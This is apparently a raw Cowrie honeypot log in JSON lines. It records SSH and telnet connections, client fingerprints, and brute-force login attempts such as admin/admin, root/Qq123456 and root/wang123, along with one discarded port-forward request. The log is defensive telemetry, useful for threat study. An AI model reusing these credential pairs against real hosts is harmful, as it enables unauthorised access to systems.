@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:50.746707Z","src_ip":"87.251.64.176","session":"e1daa046f76e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:51.037565Z","src_ip":"87.251.64.176","session":"e1daa046f76e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:51.139699Z","session":"e1daa046f76e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:51.237960Z","src_ip":"87.251.64.176","session":"e1daa046f76e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:51.336484Z","src_ip":"87.251.64.176","session":"e1daa046f76e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60548,"dst_ip":"10.17.0.5","dst_port":23,"session":"85ddce92c35b","protocol":"telnet","message":"New connection: 50.6.8.71:60548 (10.17.0.5:23) [session: 85ddce92c35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:58.317135Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:58.632241Z","src_ip":"47.86.95.62","session":"0c3714652ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.190.79.11","src_port":10293,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f2feaf3fac9","protocol":"telnet","message":"New connection: 177.190.79.11:10293 (10.17.0.5:23) [session: 3f2feaf3fac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:28:59.414595Z"}
{"eventid":"cowrie.session.closed","duration":13.329634428024292,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:29:12.744176Z","src_ip":"177.190.79.11","session":"3f2feaf3fac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55649447441101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:29:29.873393Z","src_ip":"50.6.8.71","session":"85ddce92c35b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:29:34.912393Z","src_ip":"47.86.95.62","session":"907d2c3479ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"78.7","message":"Connection lost after 78.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:29:40.571655Z","src_ip":"47.86.95.62","session":"907d2c3479ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":16006,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb087ad384e4","protocol":"ssh","message":"New connection: 118.26.36.248:16006 (159.203.135.109:22) [session: fb087ad384e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:29:43.169187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:29:43.177801Z","src_ip":"118.26.36.248","session":"fb087ad384e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:29:43.397135Z","src_ip":"118.26.36.248","session":"fb087ad384e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:29:44.304464Z","src_ip":"118.26.36.248","session":"fb087ad384e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:29:45.526621Z","src_ip":"118.26.36.248","session":"fb087ad384e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":34856,"dst_ip":"159.203.135.109","dst_port":22,"session":"49ba37503c66","protocol":"ssh","message":"New connection: 61.222.211.114:34856 (159.203.135.109:22) [session: 49ba37503c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:03.024084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:03.030892Z","src_ip":"61.222.211.114","session":"49ba37503c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:03.240650Z","src_ip":"61.222.211.114","session":"49ba37503c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang123","message":"login attempt [root/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:04.095803Z","src_ip":"61.222.211.114","session":"49ba37503c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:05.304655Z","src_ip":"61.222.211.114","session":"49ba37503c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.26.43","src_port":33660,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7fb6d1506d1","protocol":"ssh","message":"New connection: 103.149.26.43:33660 (10.17.0.5:22) [session: e7fb6d1506d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:08.458908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:08.469069Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:08.689649Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:0c:03:ec:cc:77:96:b1:84:0a:76:1c:d9:ba:39:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4PmC/YNigFbmET4qlzrOcG8vaTYxHgdjCD0WbgFQynWVg0TdU1DJz5cZKPyaagW5zKz4eaKZnYvrobn3tFW1dM/dI3GRVcLOoRQn+n01qJhNUFpKO0hkT9H8bUDdU7Gl+vLa3+GLh2bTviRj13D8XG+ueWOHrTnwDI3o8zubR7X0ZJRbaC8rl9YbZqw76aaxfj0WkI1ql+aUMm97YKi55825YWKV2WZXi/liYgl1pOeI+byWWjke/8o6z0FTNXEAMfHdyiHTPs2+kMBaI0XyRedrdUmHk03R82MSKch1VGb0MdziOn6Dny7qemm6cf38sNrBzlovz38Grr7ov7wlj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:0c:03:ec:cc:77:96:b1:84:0a:76:1c:d9:ba:39:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:09.765691Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:0c:03:ec:cc:77:96:b1:84:0a:76:1c:d9:ba:39:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4PmC/YNigFbmET4qlzrOcG8vaTYxHgdjCD0WbgFQynWVg0TdU1DJz5cZKPyaagW5zKz4eaKZnYvrobn3tFW1dM/dI3GRVcLOoRQn+n01qJhNUFpKO0hkT9H8bUDdU7Gl+vLa3+GLh2bTviRj13D8XG+ueWOHrTnwDI3o8zubR7X0ZJRbaC8rl9YbZqw76aaxfj0WkI1ql+aUMm97YKi55825YWKV2WZXi/liYgl1pOeI+byWWjke/8o6z0FTNXEAMfHdyiHTPs2+kMBaI0XyRedrdUmHk03R82MSKch1VGb0MdziOn6Dny7qemm6cf38sNrBzlovz38Grr7ov7wlj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:09.769800Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:05:c8:a9:9c:19:b1:43:71:ef:41:19:c6:03:c4:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1E8uzgGfuK86XKlT+HPrBk3T44X61Faq+zkhltwcOpstq2cfUpEiRjwOwtQKSDsVgylw9YzuOloHUKlDobglM3gBR8uFw3riql5lKmUG+s/KJGL/KcOzz2lWfw8RTue7pAHPaWfEmOhRX5QXejF5jJt96p9UxEe7d4IRvJQ1eac38IhYRyM8wgUiabiiZxw1Suq/UhvIPQonajcpuX3u1J6WjKN3UR2qnybO+44wGNaAD+hSFx4UWgnHEN3d7jaURzUXgcN3S6Pfk1TVWpeDQyFT5eBT3CtiLEia/HAzbE51XOm2GYm4+8K2SEMK2qbylll+h81DEFj8kyX4kw3Hv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:05:c8:a9:9c:19:b1:43:71:ef:41:19:c6:03:c4:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:09.991641Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:05:c8:a9:9c:19:b1:43:71:ef:41:19:c6:03:c4:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1E8uzgGfuK86XKlT+HPrBk3T44X61Faq+zkhltwcOpstq2cfUpEiRjwOwtQKSDsVgylw9YzuOloHUKlDobglM3gBR8uFw3riql5lKmUG+s/KJGL/KcOzz2lWfw8RTue7pAHPaWfEmOhRX5QXejF5jJt96p9UxEe7d4IRvJQ1eac38IhYRyM8wgUiabiiZxw1Suq/UhvIPQonajcpuX3u1J6WjKN3UR2qnybO+44wGNaAD+hSFx4UWgnHEN3d7jaURzUXgcN3S6Pfk1TVWpeDQyFT5eBT3CtiLEia/HAzbE51XOm2GYm4+8K2SEMK2qbylll+h81DEFj8kyX4kw3Hv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:09.995881Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:6a:53:e5:9f:73:01:8e:52:9e:6b:67:50:21:4e:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNHmwmBUh1WztJDSwpbNVHhzwgC5LHQZUfPzQisZgj64to9wzPaMxiOXfPx0Mb7LAKVgOYgKb7WEFw0UNFDnjid1PPBiXhB8cSPtMlO/ktJ2Yw7EiLCjvFgFRdhEIcOlVPeYNF5epjk4bNiAU+IS2aZwvl3UNSIQ/Aht5ZPKyQAeg80+ioRi2pcByAUOK/jkhlq6aPCuRk7EDz/2wwrUbq/m/Sl7FRHicndScSM++mGBdYYoRlx3pKuVokjJy7DtsKSfMHBLy16Wc8Odkxe+fN4oBGBFcJYSxo5DKM9/C5EGKzuYvFNFWvaw4ECBbI7HF9m8W3T6WHGU7UmkqxGdkt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:6a:53:e5:9f:73:01:8e:52:9e:6b:67:50:21:4e:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:10.220000Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:6a:53:e5:9f:73:01:8e:52:9e:6b:67:50:21:4e:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNHmwmBUh1WztJDSwpbNVHhzwgC5LHQZUfPzQisZgj64to9wzPaMxiOXfPx0Mb7LAKVgOYgKb7WEFw0UNFDnjid1PPBiXhB8cSPtMlO/ktJ2Yw7EiLCjvFgFRdhEIcOlVPeYNF5epjk4bNiAU+IS2aZwvl3UNSIQ/Aht5ZPKyQAeg80+ioRi2pcByAUOK/jkhlq6aPCuRk7EDz/2wwrUbq/m/Sl7FRHicndScSM++mGBdYYoRlx3pKuVokjJy7DtsKSfMHBLy16Wc8Odkxe+fN4oBGBFcJYSxo5DKM9/C5EGKzuYvFNFWvaw4ECBbI7HF9m8W3T6WHGU7UmkqxGdkt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:10.225594Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:fc:f6:57:79:9a:93:2f:e3:33:98:4d:3f:51:e6:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjIhBrglBjq5MlL1dEJBknH5vBppJ9w7ZUO5OW2Floz3PhfUrcOIpuHMcU6549OFf0Ej0xYIedulDgicqD+tGy+aABnMSK2jzweVTWzDEtnWv8MSR6pK3ogbb2ZMSBc/P81hz41KJnmLEhZkfIgB7ohEQTeeYrChs4gQ51eXHsyyuD3K4PTmtrYsAK73XwBT4xK++gLS2h5rNYygC2LsJZOIGsH6Hr7u7O6BVZflq2lK8wcEgnGoVmMmyrJijXyKiLpucb2gPmHyN4Y+anmWHASsxokFqxtWSeaVL6Atq5h9D/PdiWBP3nA3N6LiYKGw+HknAKCugc+haN2lVhEI60/oRd6rItlVrqvcmqIJzeN21gJcPeDJtbAvrV8b5rLpVhjhyrf1aIvE0Mrmo7HCAMadt6ngTxijTMLWWfcOYci0LYDoDTCftV7bsuh1Vb3T0VuTKPOAr9VtX1jw6lbVFZulmrl8jvob+kTARAClz/W4n1Y3qsm6LEJdzxZrtD1/QpjeGmyFRbiaY7vl3ZfBU5j3SqkuWgYd2Lhb+3wCMVLgen6akhX+Hx4Sb+Wx/A/y98goyOV6rqRoI9FJDkXlMTV+LW8fKsqFLwXvnp1Zb5a62WDdtypPFKkJC7VN3soXJWiSdoKTCpiVVINIijSx/PkQXQKHrSw+OjhS86yxdhVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:fc:f6:57:79:9a:93:2f:e3:33:98:4d:3f:51:e6:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:10.454721Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:fc:f6:57:79:9a:93:2f:e3:33:98:4d:3f:51:e6:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjIhBrglBjq5MlL1dEJBknH5vBppJ9w7ZUO5OW2Floz3PhfUrcOIpuHMcU6549OFf0Ej0xYIedulDgicqD+tGy+aABnMSK2jzweVTWzDEtnWv8MSR6pK3ogbb2ZMSBc/P81hz41KJnmLEhZkfIgB7ohEQTeeYrChs4gQ51eXHsyyuD3K4PTmtrYsAK73XwBT4xK++gLS2h5rNYygC2LsJZOIGsH6Hr7u7O6BVZflq2lK8wcEgnGoVmMmyrJijXyKiLpucb2gPmHyN4Y+anmWHASsxokFqxtWSeaVL6Atq5h9D/PdiWBP3nA3N6LiYKGw+HknAKCugc+haN2lVhEI60/oRd6rItlVrqvcmqIJzeN21gJcPeDJtbAvrV8b5rLpVhjhyrf1aIvE0Mrmo7HCAMadt6ngTxijTMLWWfcOYci0LYDoDTCftV7bsuh1Vb3T0VuTKPOAr9VtX1jw6lbVFZulmrl8jvob+kTARAClz/W4n1Y3qsm6LEJdzxZrtD1/QpjeGmyFRbiaY7vl3ZfBU5j3SqkuWgYd2Lhb+3wCMVLgen6akhX+Hx4Sb+Wx/A/y98goyOV6rqRoI9FJDkXlMTV+LW8fKsqFLwXvnp1Zb5a62WDdtypPFKkJC7VN3soXJWiSdoKTCpiVVINIijSx/PkQXQKHrSw+OjhS86yxdhVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:10.459538Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:d6:db:5c:78:1a:ad:3c:3d:89:bd:5f:42:82:26:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpo6CBNUunLxURMA9rLyNcgEDVgbjP7O2m7HxEGgvNXssYW/ovOQdyV1EpgsZJ6r923rDBqBmHsE4U9Ttah5iBpQCvKMUnay0sQ7G6dNQGXswinKWUZP2WItsworzsY5P6N8ptx+zhI5fAnJpxydDFXbfRoXnuqbpwl6lG+0EFH3HaOaMZ+p32Rk99ZSPFyVIyVlryODyl4Bkf8EJG4jfxWASrPETDS6kYWUwS8+pcRqOb17bk40L9OzzUZjr3XqCX7SBO6JOsuz51x/KoMn00g+8e+ObvvBZPEfudomavWZgCHDBbE5pRSNzT1R1K5Eq7K1Vs75qtZcXLfNOiuOOf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:d6:db:5c:78:1a:ad:3c:3d:89:bd:5f:42:82:26:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:10.717970Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:d6:db:5c:78:1a:ad:3c:3d:89:bd:5f:42:82:26:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpo6CBNUunLxURMA9rLyNcgEDVgbjP7O2m7HxEGgvNXssYW/ovOQdyV1EpgsZJ6r923rDBqBmHsE4U9Ttah5iBpQCvKMUnay0sQ7G6dNQGXswinKWUZP2WItsworzsY5P6N8ptx+zhI5fAnJpxydDFXbfRoXnuqbpwl6lG+0EFH3HaOaMZ+p32Rk99ZSPFyVIyVlryODyl4Bkf8EJG4jfxWASrPETDS6kYWUwS8+pcRqOb17bk40L9OzzUZjr3XqCX7SBO6JOsuz51x/KoMn00g+8e+ObvvBZPEfudomavWZgCHDBbE5pRSNzT1R1K5Eq7K1Vs75qtZcXLfNOiuOOf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:10.722320Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:10.944687Z","src_ip":"103.149.26.43","session":"e7fb6d1506d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40048,"dst_ip":"10.17.0.5","dst_port":22,"session":"4adb42c48841","protocol":"ssh","message":"New connection: 47.86.95.62:40048 (10.17.0.5:22) [session: 4adb42c48841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:30:47.607996Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":56302,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fe8166a7693","protocol":"ssh","message":"New connection: 61.222.211.114:56302 (159.203.135.109:22) [session: 4fe8166a7693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:31:33.320696Z"}
